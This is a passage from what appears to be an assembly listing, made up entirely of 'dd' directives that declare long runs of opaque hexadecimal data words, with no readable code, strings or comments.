0FE33E4h, 0B414336Dh dd 29310EA5h, 24E8259Dh, 0E25525E3h, 124F5F91h, 362C6B40h dd 7BFF25E1h, 1F00E744h, 2999945Ch, 130D4991h, 0A68E97B6h dd 3215B266h, 53B3D602h, 98ABEC5Fh, 9602E166h, 0BB018976h dd 406482DAh, 727B7BE6h, 0B665E6FFh, 9F234015h, 0BD030E60h dd 667F4DF9h, 0C19CF950h, 475EDFA5h, 168B24F6h, 0ADC12DA0h dd 0D3DD2A22h, 2EF29B41h, 4DBF282Eh, 8065BD97h, 6A70A5FEh dd 35585E59h, 459D08F0h, 25032431h, 965B0690h, 94810F2Dh dd 0C33E0F9Fh, 0BDC2417h, 95DB93Dh, 71D478B1h, 0C4FEADDAh dd 503C601Dh, 0D019016Fh, 4452B355h, 12786CA6h, 0E6E35CB6h dd 0C129AC5Bh, 119BD33h, 16808B2Eh, 0A7A80C4Dh, 0D39ABBB4h dd 0C9BED882h, 0D598C0DDh, 0DB1C9723h, 3D9F6070h, 1DF10416h dd 0F135EAB4h, 43E74B30h, 3B9700D9h, 0E06A111Ah, 0D825EF32h dd 95EBC6CCh, 0FE558B42h, 0B527DC64h, 56B6E243h, 8F4D7ACBh dd 56B0A264h, 0A9E9802Dh, 5F866295h, 0D7E04C13h, 4F0E2183h dd 1557875Fh, 0DD72250Eh, 66D15568h, 8D5AC27Dh, 0C25BED92h dd 92C23Ah, 42B8D13Ah, 8EF651h, 45BC39A4h, 0A2361FA0h dd 21C78A02h, 419D10EBh, 5FF6085Ah, 0E85FE5ECh, 6F1A1520h dd 5BF90083h, 0DA8B0320h, 0BFF8905Fh, 6967130Fh, 430EB356h dd 19FF04EEh, 0DA68C1BEh, 2DF67F6Ah, 0BBF7C6F0h, 4C53EB4Fh dd 8CEB2BC4h, 802F6096h, 807FEE8h, 61001B51h, 659D335Fh dd 468B109h, 0BCE72AF2h, 920FC0BEh, 295DF8Fh, 0A0D26940h dd 0A1553522h, 0FA18587h, 7C00C567h, 0C7BE2E7Eh, 0DC04E1D5h dd 870F5060h, 4A43F2ABh, 5B48D6ADh, 5A4AAE0Ch, 240B04E4h dd 6A599D0Bh, 4E4D779Dh, 6A07A2E1h, 0ADBC2A2Dh, 5065702h dd 5EFF808Ah, 88FC259Bh, 984007C4h, 0C366151h, 0E6B1C24h dd 0FFD7B709h, 30A7DBB5h, 97A1E5h, 37C740D3h, 0D8B560CCh dd 4920B698h, 8D891823h, 0D1FF8F59h, 701AD3B5h, 9E7EAF57h dd 0D938D309h, 64C371A3h, 0F17E588Ah, 26A8010h, 5045939Ch dd 2064F4FFh, 0E8F43002h, 550B2F61h, 9016B27Ch, 0D2BFBD40h dd 0F34A0D22h, 0C0739B6Bh, 142E741Fh, 52B827C1h, 0B363AE54h dd 45CC0451h, 0B9574494h, 0D5A6D3A3h, 66F0FEA5h, 154F05B7h dd 814B546Fh, 132690Eh, 382E06E9h, 2A41FCA6h, 2801B663h dd 3C99616Ah, 0CBA681FAh, 5F53E941h, 0F7B86569h, 0E4FEB41Ch dd 73E80601h, 0B963301Eh, 80C6F200h, 0C9CCCEDBh, 0C28C434Bh dd 0F551B790h, 77F9548Bh, 299003B9h, 1D5B898h, 51331836h dd 0DEE4548Ah, 0FD6B915Ch, 0B1848137h, 4BE9065h, 0B94E82ECh dd 0A3EC9294h, 0BB9F009Fh, 4BCA51F3h, 0FC85C100h, 0F547EC78h dd 0B3A1129Dh, 89F6EB7Eh, 1F7B6A5h, 6B18FE80h, 0F821C2EBh dd 4C6A9CE8h, 60C099FFh, 0BAD6D2CFh, 2A0B53EAh, 858C9503h dd 3F910530h, 622E2FB7h, 712B31A6h, 0B455254Ch, 50B070CBh dd 3215E8h, 187B9AEh, 14398CF7h, 7E30CA02h, 7F29E17Ah dd 5B4BB044h, 89107CFDh, 76F88915h, 665F2597h, 0A6E9707Ch dd 73260048h, 29B5339Ch, 0A1D4B45h, 6FC9A1C7h, 48B770F4h dd 132FB809h, 8BC95254h, 0FB0D04B3h, 8905B0B8h, 0FF1E79B5h dd 2010C332h, 0AD07E373h, 1CFA3200h, 3519BAD9h, 5E280085h dd 0C82BC9F6h, 1175B529h, 0DFAA1097h, 429145E9h, 6CE2707Ah dd 0D6E28B7Fh, 4D3A6091h, 7C015442h, 0B7A4EFCEh, 1A2E5FB1h dd 27D796A1h, 0D97B60B0h, 61F80B73h, 95847656h, 962073Dh dd 0E96A99D7h, 0F525B629h, 9D118BCCh, 37C82C19h, 502DEF4Fh dd 4DD7A62h, 4153915Ch, 202B6A7Eh, 0A756E661h, 0AD22A800h dd 0CE30A9Fh, 0A392009Bh, 4B4D8DFFh, 0CF4B0412h, 4137A198h dd 0F0F666A5h, 4C601284h, 0D2F2A0Bh, 0E0F26F2Eh, 6A4B6126h dd 0B94B366Fh, 57DDCDAh, 6CBACEBBh, 26A99304h, 26212DAEh dd 0F8BAB49Fh, 0AAC1A40Ah, 0B9000B61h, 0DB951163h, 0E5D2D0ACh dd 10B7640Bh, 256B7189h, 0F7CBD362h, 0E556E6A5h, 0D96A04FAh dd 467AB2Ch, 6EE57B9h, 1D4159Ch, 720987F1h, 30DDC4E5h dd 8C627CB9h, 5C0D215Ch, 1B76FAB1h, 0DBCB5AD4h, 489B80D6h dd 972EB733h, 5DFBC029h, 1232CA78h, 0E78BF401h, 1CA65ADAh dd 0F6BECFA0h, 0D3786902h, 61562233h, 342EFE7Dh, 8CFBFD7h dd 9A1749A0h, 0F615A410h, 4B04C13h, 0B9311928h, 7B7E1C2h dd 0A4F7B66Ah, 0D710C977h, 26E0BB1Ah, 17C28410h, 6096A49Dh dd 0F2A22AEFh, 2D25B05Ah, 2CEC5F82h, 0B7BE4695h, 1ED094FBh dd 12D701EBh, 55858938h, 4220F2Ch, 4BCD50BDh, 22C28E2Dh dd 25F6980Ch, 0C0C5C3A5h, 2261C511h, 2A60F589h, 0C480169Bh dd 688288ACh, 31169C05h, 44BA35BDh, 0B8D88BEBh, 0B0DB5ABFh dd 8982BE92h, 25D35CF9h, 6925A5FCh, 0AA2E54C2h, 0E903B07Ah dd 2EE4CC7Bh, 9529F8F8h, 0FE054527h, 29CDE21h, 0AB0421C5h dd 0DBB951A3h, 0E28C15ACh dd 3FCFFABEh, 1018787Bh, 0C265C90h, 516F895h, 176949BBh dd 0FD3DFF09h, 0E080AA38h, 96A63430h, 0E7E1CE00h, 63952812h dd 42CD953h, 32E86C90h, 0C9CF06F3h, 0F23FF98Ch, 1AD69406h dd 718783FBh, 0C6FE2749h, 362F9640h, 0DD030CB2h, 2B369A08h dd 5DF68A06h, 0EE9C5FCCh, 0FF78D3DEh, 4B84AD65h, 9860C188h dd 5F8D6E48h, 28B85900h, 73179767h, 52FD5861h, 917B6B8h dd 0CC0572D3h, 98BE1639h, 4500E539h, 0FDDA093Fh, 94259C6h dd 7C082FE8h, 54E6CA55h, 0AE296513h, 0DCBF8BC4h, 8449E938h dd 2B71252h, 0AD2AC7E1h, 986E87Ah, 83258570h, 0DD01A271h dd 39F0C809h, 1171EF8h, 9E5D6819h, 2EE25488h, 0FD9F971h dd 0CB81070Ah, 6544E9A6h, 776A3B29h, 0BEF7F307h, 0CB32E0EEh dd 5598F91Eh, 0C655A96Eh, 39025006h, 9A4E5F5Bh, 0C01DC895h dd 3671BBD5h, 13751C03h, 13F79AF0h, 0D8075972h, 0D3B586F1h dd 0E0FE27ADh, 41950182h, 5274C81Ah, 1BB32F60h, 0F9AF3171h dd 0FD8A0932h, 6882DD71h, 60F423A9h, 0A40289BBh, 80FB4BB5h dd 0EB2056ADh, 0D9167EFFh, 711D7EEEh, 0C90171F6h, 3280A7FEh dd 63014CFh, 5058243Ah, 2404899Ah, 1910CE76h, 0B1FCC53h dd 562C4F1Fh, 3F55C4E0h, 9F00C019h, 0E6318367h, 0F57D7190h dd 5B0D0B6Fh, 46D60256h, 28AA4A1Dh, 4D94616Ch, 37CD0BDCh dd 0BE409AB2h, 1E970E34h, 5BB5BFC6h, 0CF96D900h, 4ABF9AA8h dd 25D6CA02h, 0F6B87E30h, 0B6FC2F5Ah, 37B61020h, 31BEE917h dd 2E328DEEh, 0B8A5B53Bh, 0EFFA0336h, 1018E0Fh, 84BFF9C9h dd 2E03483Eh, 889D8528h, 0B0A5F98Bh, 91F8E98h, 302D2F8Dh dd 0BD126C94h, 0F3AC3115h, 0A045A6B4h, 4AB3FC3Bh, 0BFEBCC5Fh dd 286E7209h, 0B180711Ch, 40ECD78h, 75F5C0FBh, 0F19D5067h dd 0AEC4127Ah, 0F6257CB7h, 0A380D479h, 0EA68C0ECh, 3AF92670h dd 0F5B300B5h, 5F617D91h, 0E78158C1h, 712FE80Eh, 3F107901h dd 0EFD688F2h, 0E24FD86Ah, 5B7B42CCh, 0F8CE7CBCh, 0F0D86E6h dd 76296027h, 0F3A24C58h, 619FE512h, 115F79E3h, 8009D838h dd 7E7079E3h, 605EEF9Fh, 80D6B885h, 0C18D3108h, 7CBB000Ah dd 0F508F846h, 23B16E95h, 0F3A72AADh, 0CD6051E1h, 69143FE3h dd 38132D48h, 0C0AF23h, 0C3EC74D5h, 0AC6A75FDh, 93097602h dd 5CDD8A5Ah, 82B72FD7h, 2E2B320Fh, 71D2E058h, 9509C48Fh dd 0FCA79EFEh, 4703555Fh, 0F2395C32h, 0E0624087h, 0CE1A972Ah dd 674B107Fh, 97581C19h, 0A4D882B0h, 0F282BFD3h, 13F50841h dd 851222D2h, 145F59A2h, 41BA0315h, 81EFBD5h, 0E7AF7216h dd 0A8C041ECh, 1C42C56Ch, 7730C15Eh, 0BEA1BD01h, 0BF5007EBh dd 2526E289h, 9D03BDC8h, 7BFD7151h, 0DC4521A6h, 3D8B1822h dd 7E52A1FEh, 0B8FCDCC5h, 0ABEEEF01h, 0C7AE781Eh, 978D0534h dd 38455A14h, 18E9BA89h, 0AA601DA5h, 0B7B8A030h, 0D6F0EACh dd 16C45061h, 0E007A696h, 25098859h, 0EF5B40CDh, 31181759h dd 775B2613h, 4A4B6BFFh, 0AB295861h, 7FC5B53Eh, 14C8F4DBh dd 96F56C9h, 6B71C51Fh, 0F42FC5ACh, 1EEDE2D9h, 4C71545Ch dd 0C118DE6Ah, 8F98B052h, 0C8D8DA7Fh, 5B65C016h, 0AEB7C60Ch dd 540D2BBDh, 210179AAh, 0E902CE79h, 0DB805525h, 3F22CF81h dd 8B2D4B0Bh, 0CE4FEDC1h, 13793AE0h, 0AD3B3FBBh, 0C8CCB85h dd 20619060h, 54A30BA9h, 7C18AB8Fh, 7213997Fh, 30006ED5h dd 0E2C11ED2h, 21B7255Bh, 4D4B6AF5h, 0F893E058h, 0DB16D0BFh dd 0CBD0F5BEh, 0B606860Fh, 849D6D1Ah, 0E73A04B6h, 0FF61F804h dd 1AE7688h, 21063BA3h, 0F8B76BF4h, 7401E0DCh, 1B9B4389h dd 85D850CDh, 4A2EBAA9h, 5EB9B15Fh, 4631827Dh, 71F957h dd 8029B6C7h, 8500C824h, 92F5BA0Dh, 0B53D2A4Dh, 0A65A558Bh dd 3F8FBF15h, 0F092569Bh, 0BD870F3Eh, 0D896ABF9h, 24AB4C84h dd 1D5C8192h, 6D5DDA95h, 21EFE012h, 0A0258B83h, 92DC6E5h dd 69BD0B50h, 0AB5F6624h, 4580D92Ah, 0D98BF968h, 72D1FF24h dd 2D2909DEh, 0F714FA2h, 31EB8D45h, 2E026A63h, 0FA0ED86Eh dd 0E2B25055h, 2ADB012Bh, 1B72AF3Bh, 2E2CEA2Bh, 7DF4AA5Bh dd 0EF56F990h, 3B0070FAh, 4751861Dh, 0A4FDC0h, 164D46A6h dd 230C6AD5h, 441BD2Dh, 13B95B51h, 0C9ACE6D1h, 7D7AE200h dd 0EF80AE14h, 9D2327DEh, 0E92D7FF2h, 7308FE37h, 0E2B794DCh dd 5B74C41h, 917793D4h, 4055A900h, 2F1B3A29h, 10ED0982h dd 410CD8C2h, 85140269h, 144C1F7h, 32A22AE0h, 0D01D96A8h dd 8A09DA68h, 7C0D173h, 3060CE67h, 5FA5E7BAh, 8CFE1D4Bh dd 6A3EBBACh, 0BF9001CAh, 0AA0FCA6h, 0BD560120h, 0DB8FB463h dd 80BF7079h, 0F354577Bh, 7187898h, 96095395h, 8C60347Fh dd 40002A02h, 0EE3478F4h, 0E6AA4322h, 2C1F2A7h, 0EFCCD418h dd 81804852h, 59960FF0h, 0F2853125h, 89614BA3h, 12DE6B59h dd 4AA3EF80h, 0C900BF27h, 3DBB190Ch, 5B25BA33h, 0C30B09F5h dd 12A99DF0h, 72CA6A61h, 0A087B64Eh, 2746289Dh, 2FE3F6Fh dd 1909DCFh, 9B920592h, 0CD27C2AFh, 5DB9FA50h, 20E1E30Fh dd 6853BEA2h, 2A181607h, 0C81FADF5h, 12A54A23h, 90FDAC21h dd 0F1DA1C24h, 9313DE40h, 5BCBD884h, 3D7BFD8Ch, 1360DBB5h dd 95558F7h, 32C604EBh, 8098D15Fh, 67AB1D3Eh, 9B571E4h dd 45525A90h, 3AB131E0h, 41AA85D4h, 90FAFCFCh, 2DF72F63h dd 0C1B28377h, 93D58C0h, 4BFD6495h, 0BB4880F8h, 845BADDFh dd 1E5884FCh, 3919A519h, 0CF1D20D1h, 0E92804E0h, 9D2F419Fh dd 7F7A12D5h, 1499282h, 6A0DD9E1h, 367F0EC9h, 712DB8CBh dd 5187FE14h, 0D39C2D1Eh, 3DB030FBh, 6501DE6Bh, 0A50910F7h dd 823C5BE9h, 0AD1B169Eh, 1988D207h, 3E7205B8h, 0BE85CDECh dd 4BB7F812h, 0BD0F3521h, 0D6AC32F9h, 0F34487B2h, 8B31FF95h dd 80D6A1D9h, 2697F73Fh, 205250BFh, 5F4B1821h, 41784998h dd 0C0B85BBCh, 0CB8BBC17h, 52901AF1h, 0EFDD8873h, 0E68E4087h dd 780241E7h, 6036ED7Bh, 6B395C7Fh, 7CF67629h, 82135B9Fh dd 9EE5453h, 0F6591AC3h, 0F260A22Ch, 4BD2A429h, 0C8CEFAEDh dd 0B9FC5F14h, 2BD8B705h, 25BDFCC0h, 94E9660Ch, 129DD46Eh dd 1CF7C9CFh, 20E36D2Bh, 685FE4CCh, 1980DF9Bh, 4DFEAFB7h dd 1664BE0Dh, 1121C45Eh, 2F95992Ah, 640141B3h, 0DC8BEFFBh dd 11DA6A72h, 47C01CC8h, 1D649EE1h, 92F487F6h, 9BEB3CDh dd 5903CB80h, 0F9F85BC1h, 671231BFh, 9DB2113Bh, 2B9F6188h dd 43F81D53h, 0FC98FD5Bh, 0B1715F79h, 5B1D6C2Ah, 5D444DC2h dd 19904D9h, 342B048Ch, 0B4DEF692h, 2571F504h, 92A28CACh dd 9074D3CAh, 0E3FE02DCh, 39752260h, 3BCD9057h, 8E3603A3h dd 8CC12069h, 15B111B8h, 0B948710Fh, 9DEB2409h, 67A2BFACh dd 0F421F65Dh, 8707AD03h, 921FE54Fh, 65B0F5F9h, 1441959Dh dd 0F9AAC72Bh, 0EF71B056h, 60D98A10h, 0DCAEBEh, 1CB4ED21h dd 6BEB9273h, 0C4AC3C27h, 5F6F0019h, 706EF0E7h, 2E12A93Dh dd 0F8B15D37h, 8B08DB2Fh, 25C618B8h, 0C2BE0103h, 0BC1D975h dd 35CC2C9h, 0D0B6424h, 91987F10h, 7AE10157h, 0FEF144E6h dd 7AC9D046h, 0C1DD1207h, 75B08127h, 9566D34Eh, 75D4523Ah dd 0EBDE0BD4h, 2B5F5C17h, 16CB5E09h, 0D341AD1Ah, 30C108BAh dd 261CBF01h, 0E12F4790h, 0CE882FECh, 0A36D0001h, 312039C0h dd 0C15EBB05h, 0D10425A9h, 0A1866C13h, 0C1F76B47h, 90FC8A01h dd 6099EF80h, 669E0D79h dd 0DE66DCA7h, 0F5DE7B1Ch, 21E0CF80h, 0B0D17ACEh, 8D311664h dd 68BC8089h, 872EF86Eh, 0CD09E37Bh, 1E8E5079h, 0E598FB91h dd 0CD7035D3h, 61A50169h, 0F3F26EC2h, 0A2E06FFEh, 32A802F7h dd 0BE59D2Bh, 0CEE9E8FEh, 2B092D24h, 5E5A99FEh, 1707D4A3h dd 9464A48Bh, 95C06F80h, 0E1DF0181h, 0E913AF25h, 843F28BAh dd 9DAA05A1h, 93CD3E72h, 302BFEF1h, 3EBB56DDh, 66898614h dd 0DCB14EEBh, 0FDE1532Ah, 0E97BCF3h, 55BA6D6Eh, 0D80E62Ch dd 0EC13778Ah, 0A69ED3F0h, 5F29A848h, 0D25C7CF6h, 6659142Dh dd 4496CDA5h, 0E998FF82h, 0CB8995F9h, 0E8C71FEDh, 658805F0h dd 9AD9EF1h, 297727C9h, 5BC7475h, 0AB0C158Dh, 4EE2374h dd 0BC294097h, 30AAA576h, 2291E072h, 0EA9C7C07h, 0BB83E91Ch dd 37F2B1D2h, 0C1C64FF5h, 6E892709h, 2EC45FFEh, 70F6A700h dd 64287B95h, 5E4512C8h, 0DDCB0661h, 36CECF8Bh, 0BF01FCD9h dd 7BC489D3h, 0E8792E32h, 37842506h, 0D87987DBh, 2CE0F8h dd 0F4B37755h, 0A6BBBF2Dh, 70907A2Fh, 7582AA3Eh, 0BAE0A56Dh dd 0FA283B3Dh, 740502F0h, 82B75650h, 899F7A7Ah, 575F42A3h dd 1C918B35h, 0AEAB1E81h, 4B947050h, 0AED4CC24h, 0F333508h dd 3AC1DB81h, 26616E16h, 0A8B0F791h, 473AE0Ch, 0D3803884h dd 0B43CB8F1h, 2325BDFCh, 2AC4E059h, 0F90EEE50h, 251C3DE9h dd 271B3775h, 2EA9A5C1h, 6BAA74C5h, 3016E295h, 78487083h dd 0BCBB4DDAh, 9FED031Ah, 43209B4Ah, 3DBD2990h, 795302E1h dd 776007BEh, 5DDE9054h, 190099E4h, 0E2AA83CAh, 7F88271Dh dd 0CC134EB7h, 0F9B75F42h, 46F6260h, 95F41CFCh, 612488D8h dd 40792317h, 2FFF5FA4h, 0BDFF3ECAh, 524C8064h, 2DAEBEB7h dd 0D42FABB8h, 825EF198h, 15E5BD03h, 57E9BB5Ch, 0B5296718h dd 0ADA91D4Ah, 18C1AE8h, 4E0BD00Fh, 30B68E4Dh, 85A4116h dd 874FBCB7h, 770AD6CBh, 0A7499D34h, 5552A682h, 0B7045979h dd 0FFC85F99h, 0BCC42BBBh, 0CF800E9Dh, 0B31422D6h, 1082B3D5h dd 511395Ch, 915BD89h, 2D567566h, 585B35AFh, 10181959h dd 0F970D04h, 0BAB3CDDh, 0AC4FC49Fh, 0DC907D6Bh, 531327BFh dd 558D1020h, 43E47DCEh, 0F89F8B95h, 0EE895D2h, 0B7952050h dd 142C0226h, 5E5CC0DFh, 0A6B5FFEBh, 0D232AC0Eh, 9347FCh dd 52C62481h, 46B5CF99h, 804DB529h, 0FD6018C4h, 3025B172h dd 0B618FFFFh, 67C2358Dh, 75CEE380h, 29829A5Eh, 5D099185h dd 1571D27Bh, 9ED6602Eh, 19558D09h, 452F47D2h, 1F7E386h dd 0CD43EBBFh, 0C97F9632h, 81FC3960h, 4DE87093h, 0BD9650E8h dd 7C29FE89h, 40F3957Dh, 48B614C5h, 0CC96C412h, 813FB0E3h dd 0A89FA984h, 0A28EB812h, 8C3D7FABh, 877FB480h, 132F0C37h dd 0F7C2E4Ch, 0BA132150h, 0BBD36160h, 3BE32987h, 4701808Eh dd 0EE663530h, 0A29BFC01h, 507DA5BDh, 0B8F23Ah, 5CE3DA6Fh dd 814C78h, 0B0EC698h, 7D286FCh, 0D2E3625Ch, 1FB803FBh dd 1CA9444Bh, 898938C6h, 5AB60065h, 479947Ch, 83899E5h dd 518DEE5Fh, 0C7C1A85Ah, 412BBEAAh, 413D5E4h, 150981BBh dd 65AB0506h, 551B05C1h, 31CABF5Dh, 6E5E50A0h, 558B7612h dd 9145CC2h, 5409D2F6h, 0DF95FF44h, 0A92A040h, 19D70018h dd 335FBBA8h, 18974F66h, 25BD0BF6h, 0EEC731A9h, 7D4E7E1Ah dd 0F0E7BBCDh, 3B7554C1h, 3FEF742Eh, 6A870066h, 0CF2C7206h dd 0F781016Eh, 7CBCA5EDh, 3F7A2FC6h, 7F29A04h, 1B66AA42h dd 3D9D12B0h, 0C96DFF26h, 804A9A2Bh, 6B69A79h, 72CB0036h dd 3B45C3Fh, 7094B59Dh, 5C34E909h, 0EF8A1669h, 0B66F0312h dd 0E0B30571h, 0BE014AE5h, 0E28D0488h, 85494B11h, 9A3444E8h dd 22C7ABDFh, 68B60AF9h, 8A2802F6h, 2B8076D5h, 45C2E261h dd 0C4B4A49Ch, 6D977370h, 55E0E01Bh, 8000C743h, 23F38A12h dd 9D0EA595h, 6FE11C4Eh, 0CCC0AADEh, 0A18EFE7Eh, 80D0BE04h dd 0C281B585h, 9E2A325Dh, 5521920Fh, 1B357EEFh, 0D680B310h dd 0EF54D7ACh, 0EBC00160h, 536B00F4h, 2A42B2E9h, 941CFC2Bh dd 55820B8Dh, 0DCDE34CBh, 0D6C40006h, 3F954FA3h, 7C2A90C7h dd 0E81FB523h, 70BFF5h, 899385Fh, 72B04FECh, 2F4CDE0Eh dd 1EFB2061h, 0F4603A2h, 0E4C5D4D2h, 13D7F620h, 0CD000232h dd 0FEC127B7h, 1FC0A695h, 6BF759h, 0A336F324h, 1800E57Dh dd 5D4399FAh, 10BBC8h, 890E6785h, 280926D3h, 3CF8464Ch dd 8742809Eh, 7CC101F5h, 0A8E43A41h, 8BFC1700h, 225AD4DAh dd 1933F038h, 0B008C02Ah, 9CED219Bh, 6B28E0EFh, 38009EE2h dd 982F5B6h, 39491E3Eh, 0CA18D081h, 0D7476083h, 456838D9h dd 0D408D618h, 0C4D02256h, 0CEE943B6h, 11F0A7D4h, 0E16B543h dd 0B7F93F06h, 0B05192E0h, 0FC30125Eh, 156230ABh, 875A0086h dd 0DE27A91Eh, 0A2517BAEh, 6628849Ah, 0E386D3ABh, 0F41C0031h dd 0D785483Fh, 7D3313A0h, 11108EFh, 3FFC4321h, 0E8541E19h dd 0D8CF0702h, 64FD637Dh, 37790014h, 9EDA685Ah, 80198F70h dd 3084096h, 52512180h, 7D711368h, 0FE907418h, 30827B88h dd 8798A1B5h, 0E300676Bh, 69DFCCB8h, 65CF72h, 0EAC41E0Fh dd 3ACDF9B5h, 116C4D00h, 10DA1A3Dh, 1B7DA7h, 8303D805h dd 4332F6C8h, 962A8000h, 0C17302B1h, 5A280060h, 146918CEh dd 3A6730A6h, 71608B64h, 28432Ah, 0EBD975Fh, 5C5ADF8Ch dd 0FFD6A900h, 235DD12Bh, 0FD643ACCh, 0F93EA083h, 0AFA3C9E5h dd 6C9CEAC8h, 0B2435B01h, 824B018Bh, 21DE0898h, 6C74948Ch dd 1ACB431Eh, 0C940281Dh, 0AFA81289h, 41223053h, 0F15ECA28h dd 0C794C002h, 0E3CE21DBh, 5B0830F5h, 0C0F98421h, 496D4C0Bh dd 14BB8033h, 189C4A20h, 71CA80A0h, 81F04262h, 1040B533h dd 0E558D0C5h, 2621C0C6h, 0F38546D2h, 0A3335600h, 82322F04h dd 0E2DB1841h, 80F0A003h, 0BC0C7776h, 503ECFDFh, 8041D0A9h dd 9D01F823h, 0BA435C6Ch, 8D88DD18h, 0AC6C0B95h, 1486643Ah dd 0E40319CCh, 726378ADh, 606040BFh, 8E271B94h, 0BC0A10FFh dd 80AC269Ch, 5B8F0C3Ch, 0C711209h, 412E42EEh, 21C0B608h dd 0E20953E9h, 0C445009Fh, 4F863D13h, 0C8C0AB8Fh, 0D5CE1AC7h dd 8DAA0020h, 0A3DDF8ACh, 2B304D9Ah, 705D8109h, 6A8E00F9h dd 0EF66F7A6h, 0CE329784h, 30FCF88Dh, 58116C99h, 0D2889A43h dd 6C918980h, 384C92Ah, 314BBF6Fh, 7FE3B706h, 709FBBD0h dd 86FEA000h, 0CA675162h, 0CE477095h, 1E71D89h, 62B6F0F0h dd 8E667EABh, 1C211308h, 19D44h, 6DBE7476h, 670C929Eh dd 0E0D38E3Ah, 6A0A2880h, 199846A0h, 51120957h, 88B2A058h dd 9074FEDh, 2432E71Bh, 1A3C7960h, 86660599h, 683C75Fh dd 0B0A7C9A4h, 93078F46h, 1886F601h, 805C16C4h, 3354019Bh dd 0D302887Ch, 0E7C9AC61h, 0F23C40F9h, 7EC88320h, 500974F3h dd 20F84E0Ch, 1E3AC77Ch, 0BD9C0EEh, 4A5CF947h, 0C467703h dd 53AE484Fh, 55A2A828h, 37B3930h, 0D3E92BD5h, 880C1066h dd 50CB3E24h, 0F2048C52h, 0C3C797C0h, 83205662h, 1CFC0FAh dd 558745D8h, 0CC636741h, 0BE502C36h, 1636129Ch, 1E8C8CBh dd 4140E4CEh, 55A52A4Dh, 23043A94h, 9B0B001Ah, 638379FBh dd 9205FD72h, 0A327AA09h, 0D41FEC40h, 1646868Bh, 1E76921h dd 0A09F93DFh, 0BC82288h, 16194Bh, 8ACE8E2Ch, 0E3802847h dd 284D18F8h, 71637101h, 0B5682909h, 0FA0899C9h, 6C089B18h dd 0C4AA435Ah, 938F40D1h dd 12A76Ch, 4F04647Fh, 2BFC3120h, 1854B8A1h, 95C008F0h dd 5AC4D3C7h, 0C0F88540h, 1F00F7FBh, 434CABB6h, 2BF2C7Ah dd 0CEE8E148h, 0D8675E90h, 0A260D044h, 9E00A852h, 22CD42ACh dd 885ABAh, 0CB470248h, 432D4A08h, 49711700h, 4F30AED0h dd 1DB0C3h, 0BE6069CFh, 49E4023h, 2C061A00h, 0DA87CEC4h dd 734772F3h, 2240C13Fh, 808B0E8Ah, 2C0DE158h, 131CFE6h dd 0C70A880Bh, 21DF662Ah, 80C0F118h, 6107EBA1h, 7399B4Fh dd 199DE5F5h, 0D398FC24h, 4CCF4B40h, 0A420E088h, 0E622670Ch dd 0B05E48E1h, 8462044h, 739A2400h, 40024D68h, 3382EA3Bh dd 0CE1045ABh, 410D70F6h, 3007EAFBh, 599F2088h, 0B048D824h dd 0D74674h, 50B041C2h, 70CCF7Fh, 0BEEBCB79h, 0F335D065h dd 70C12FE6h, 49DF9250h, 0FF466806h, 556C9602h, 0BCC78243h dd 6C8E8A01h, 0A9C5C567h, 14AE8424h, 2859B3BAh, 48736062h dd 44FE4100h, 0AE211EF1h, 5600BF59h, 14FD6AF2h, 0A538550Fh dd 571180BFh, 253FE338h, 0A41F01D3h, 0E0CCAE20h, 82A7E05Dh dd 836C5000h, 0DA8A95Fh, 0A1080E95h, 1A40CD2Ch, 0E454234h dd 4070BB00h, 62A9C048h, 0E71C003Bh, 81C5A3FEh, 59182DE3h dd 0DB303834h, 8E43000Ch, 236B0A08h, 8D0133FDh, 5DAD03B0h dd 5887AE12h, 506D508Bh, 68D3D8D2h, 0E8523C00h, 49586B2Dh dd 0AD18C014h, 565CB459h, 1BB32A07h, 80D807A7h, 5259737h dd 71F0BC54h, 0E427D000h, 0BB863BFAh, 0C7B70087h, 0D7851702h dd 0FF0193D3h, 0F7CDA6Ch, 0A9803934h, 8DC40E7Ah, 45006520h dd 0A270A054h, 9D6697h, 0C88CD726h, 36E5688Bh, 5E8E80h dd 0E62E5C53h, 112F1E83h, 7B8F3Ah, 0A1FA3561h, 391A33h dd 4BF96621h, 4360D080h, 761E737Eh, 87FECBCDh, 0C4FE4954h dd 0E0EE1642h, 1EC2E77h, 0F9AE4E04h, 8034ACB3h, 235CD029h dd 0C5D4937h, 0B5B15042h, 21C0DD08h, 0A023A4F7h, 75D6079Ch dd 704E78F3h, 60CA9312h, 0C30542Eh, 3F388739h, 2A40D459h dd 6396CD3Eh, 577470F0h, 36D74806h, 8906EC4h, 9C9ACD3Fh dd 0C3693018h, 0FB28A071h, 930E30DDh, 38FE3320h, 9C386A60h dd 60D18754h, 37462962h, 0FD125C77h, 0FB0CD438h, 0C04B0810h dd 77FFA321h, 45002705h, 137E1E15h, 18FB591Fh, 60F42AF5h dd 8006CAAh, 1CCFB032h, 3DE5A54h, 8ACAB27Bh, 0D3B8FDE1h dd 30062A60h, 0CF99F0F8h, 71C70010h, 0B54711CCh, 0DD09C396h dd 81BBF508h, 344EC484h, 0CFDC1CF1h, 84110045h, 5C389EB4h dd 9D009331h, 91399A72h, 541F88Ah, 0DD63A901h, 7BAA00C0h dd 8404D0A2h, 990ED90Fh, 155660EBh, 0C07C9Eh, 0BF4F6ADCh dd 40B4D5EFh, 0D2924500h, 2764702Eh, 827901h, 13AE10B2h dd 7B0F30DCh, 9C096E12h, 5AFD2E00h, 1CC0C2Eh, 2CD68978h dd 0D0C54EC1h, 5300C331h, 83B2D3E3h, 4B4A33h, 3CB5C87Ah dd 11EFE237h, 6570900h, 0BEB7E3D0h, 0C24A124Eh, 80881E40h dd 0CC54C1Fh, 0B07B1EE7h, 0AEE10136h, 5E760360h, 0DD1F79A6h dd 46C7C4B0h, 874C1D3Ah, 4006A8E7h, 20ACBEB7h, 0EC3205C1h dd 38E6AD69h, 6346D620h, 0ABD95701h, 80D8C096h, 0FD13E530h dd 0C0D761Bh, 1D3E42DEh, 0D960E908h, 0FD6BBB20h, 110E0954h dd 69035375h, 4823BFF2h, 0FD1400ACh, 0DD35761Ah, 0BCE24486h dd 73FD6C00h, 5BC75CB9h, 0A7FA65h, 66405DA8h, 0BEB6C18Ch dd 3E05371Dh, 0D7DD1E85h, 0A9F8B840h, 3F42AD8Fh, 5933627Dh dd 2100D409h, 398FB218h, 0E8EA5Dh, 46EBDB6Bh, 81753BF0h dd 3A56760Ah, 191D884Dh, 0A55DF400h, 6D8C542h, 0A1AB4E57h dd 0E1F048C0h, 121D1870h, 0C6B33D77h, 0E808310Dh, 0C010BB21h dd 100DBD0h, 3399CDDFh, 2A0658F9h, 0CEF4F08Ch, 88908B60h dd 106C7B5h, 180D7710h, 1E8188E9h, 272C45E0h, 0F4052B20h dd 0B047FA36h, 